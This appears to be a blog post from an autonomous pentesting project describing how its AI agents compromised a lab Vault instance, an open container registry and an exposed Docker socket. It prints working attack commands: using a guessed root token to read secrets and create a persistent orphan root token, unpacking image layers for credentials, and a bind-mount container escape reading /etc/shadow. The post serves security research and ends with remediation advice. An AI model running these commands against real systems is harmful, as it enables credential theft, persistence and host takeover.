Blog

Vault, a container registry and the Docker socket: one run, 41 findings

Three specialist agents dispatched in parallel against HashiCorp Vault, an OCI registry and an exposed Docker Engine socket. Root token guessed, image layers unpacked for credentials, and a container escape that read the host /etc/shadow.

· 8 min read

Three services that live next to each other on almost every build host: a secret manager, a container registry and the Docker Engine socket. Each one is a different trust boundary, and each one is routinely left open on internal networks on the theory that internal means safe.

We put all three on one host and let Darkmoon dispatch. It fanned out three specialist agents in a parallel cascade, hashicorp-vault, container-registry and docker, and produced a single report covering all of them.

What the agents found

SeverityCount
Critical15 (8 exploited)
High15
Medium9
Low2
Total41

Several rows are the same issue seen by two agents, which is the visible cost of running them in parallel against one host. The findings themselves are distinct enough to be worth reading as three stories.

Vault: the root token was the word root

The instance was running in dev mode. The agent guessed the obvious token and confirmed what it bought:

curl -s -H "X-Vault-Token: root" http://127.0.0.1:8200/v1/auth/token/lookup-self | jq .

-> id="root", policies=["root"], ttl=0, expire_time=null,
   orphan=true, renewable=false, type=service

No TTL, no expiry, root policy. From there it listed the KV v2 mounts and read the production secret path:

curl -H "X-Vault-Token: root" --request LIST http://127.0.0.1:8200/v1/secret/metadata/
-> keys: ["prod/"]

curl -H "X-Vault-Token: root" --request LIST http://127.0.0.1:8200/v1/secret/metadata/prod/
-> keys: ["app"]

curl -H "X-Vault-Token: root" http://127.0.0.1:8200/v1/secret/data/prod/app
-> data.data: {"aws_access_key":"<redacted>","db_password":"<redacted>"}

Then it demonstrated persistence, which is the part that turns a leak into an incident:

curl -H "X-Vault-Token: root" -X POST \
  -d '{"policies":["root"],"ttl":"10m","no_parent":true}' \
  http://127.0.0.1:8200/v1/auth/token/create-orphan

-> auth.client_token = hvs.<redacted>   policies=["root"]  orphan=true  renewable=true

An orphan root token survives the revocation of the token that created it. The agent then used the new token to read the same secret, proving it works independently. Around that, it recorded the supporting posture: no audit devices enabled, so none of these operations were logged anywhere; a Shamir seal with a single key share, so there is no split knowledge; TLS disabled on the listener, so every token crossed the network in cleartext; and an in-memory storage backend.

The registry: credentials baked into an image layer

The registry answered anonymously on /v2/_catalog. Rather than stopping at that, the agent pulled the image config, read the build history, identified which layer carried the secret, downloaded that blob and unpacked it:

curl -s http://127.0.0.1:5000/v2/corp/backend/blobs/sha256:69553fa838ed... | jq .history
-> RUN /bin/sh -c mkdir -p /app && echo "AWS_SECRET_ACCESS_KEY=..." > /app/.env

curl -s http://127.0.0.1:5000/v2/corp/backend/blobs/sha256:800ea318227d... -o /tmp/layer2.tar.gz
tar xzf /tmp/layer2.tar.gz -C /tmp/registry-extract/layer2
cat /tmp/registry-extract/layer2/app/.env

-> AWS_SECRET_ACCESS_KEY=<redacted>
-> db=postgres://admin:<redacted>@db/prod

Two credential sets, an AWS secret access key and a PostgreSQL connection string, recoverable by anyone who can reach the registry. The report notes separately that the secrets are also permanently visible in the image config build history, which means deleting the file in a later layer would not have helped.

Then the supply chain half:

curl -s -i -X POST http://127.0.0.1:5000/v2/corp/backend/blobs/uploads/

HTTP/1.1 202 Accepted
Docker-Distribution-Api-Version: registry/2.0
Docker-Upload-Uuid: 5a0cc255-08f2-4a33-8f9c-de3f51bbf5ab
Range: 0-0

A 202 on an anonymous upload initiation means anonymous push. Anyone can replace corp/backend with their own image and wait for the next deployment. The agent initiated the upload to prove the registry accepts it and did not complete a push, so the finding is recorded as confirmed.

The Docker socket: a real host escape

The Engine API was reachable with no authentication. Access to that socket is equivalent to root on the host, and the agent proved it rather than asserting it:

curl --unix-socket /var/run/docker.sock http://localhost/version
-> Docker Engine 29.2.0, API 1.53

curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["cat","/host/etc/hostname"],
       "HostConfig":{"Binds":["/:/host:ro"]}}' \
  "http://localhost/containers/create?name=darkmoon-escape-test"

curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/darkmoon-escape-test/start
curl --unix-socket /var/run/docker.sock \
  "http://localhost/containers/darkmoon-escape-test/logs?stdout=true&stderr=true"

-> <host hostname>

Mounting the host root into a new container is the canonical escape, and the agent repeated it against /host/etc/shadow, which returned a real user password hash. We are not reprinting that hash; the report holds it. Test containers were removed after the evidence was captured.

Having the socket, the agent then inventoried the running containers and found what environments actually leak in practice: a Vault container advertising VAULT_DEV_ROOT_TOKEN_ID=root in its environment, API keys in another container's environment, database credentials in several more, Moodle admin credentials with SMTP configuration, and a kubeconfig bind mounted into a container, which extends the blast radius to a cluster. It also noted two containers with the Docker socket mounted into them, meaning any code running there already has this escape available.

How the counts are recorded

The findings summary in this report totals 41 rows: 15 critical, 15 high, 9 medium and 2 low. The narrative summary at the top of the same report describes the split differently. We are quoting the summary table, which is the one the rows add up to, and we are pointing at the discrepancy rather than picking whichever number reads better. The duplicate pairs, for example two separate rows for the root token and two for the anonymous push, come from three agents reporting against one host in parallel.

Remediation

  • Never run Vault in dev mode outside a laptop. Initialise properly, use a real seal with multiple key shares, enable at least one audit device, and put TLS on the listener.
  • Revoke the root token after setup and use scoped policies. Audit for orphan tokens, because they outlive the parent.
  • Put authentication in front of the registry, and disallow anonymous push absolutely. Sign images and verify signatures at deploy time.
  • Stop writing secrets into image layers. Build history keeps them even when the file is deleted later. Rotate anything that has been baked in.
  • Treat the Docker socket as root. Do not expose the Engine API, and do not bind mount the socket into containers. If a container genuinely needs orchestration, use a scoped API proxy.
  • Move credentials out of container environment variables and out of bind mounted kubeconfigs, since both are readable to anything holding the socket.

What this proves about autonomous pentesting

The three services were compromised through three unrelated mechanisms, and the agent that handled each one used the native interface: the Vault HTTP API, the registry v2 API and blob extraction, and the Engine API over a unix socket. That is the argument for specialist agents over a single generalist prompt. The escape in particular is the kind of finding that is easy to assert and hard to prove; here it is a container that was created, started, read from and deleted, with the output in the report.

Everything is reproducible on a lab host you own. Darkmoon is GPL-3.0: repository, documentation.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.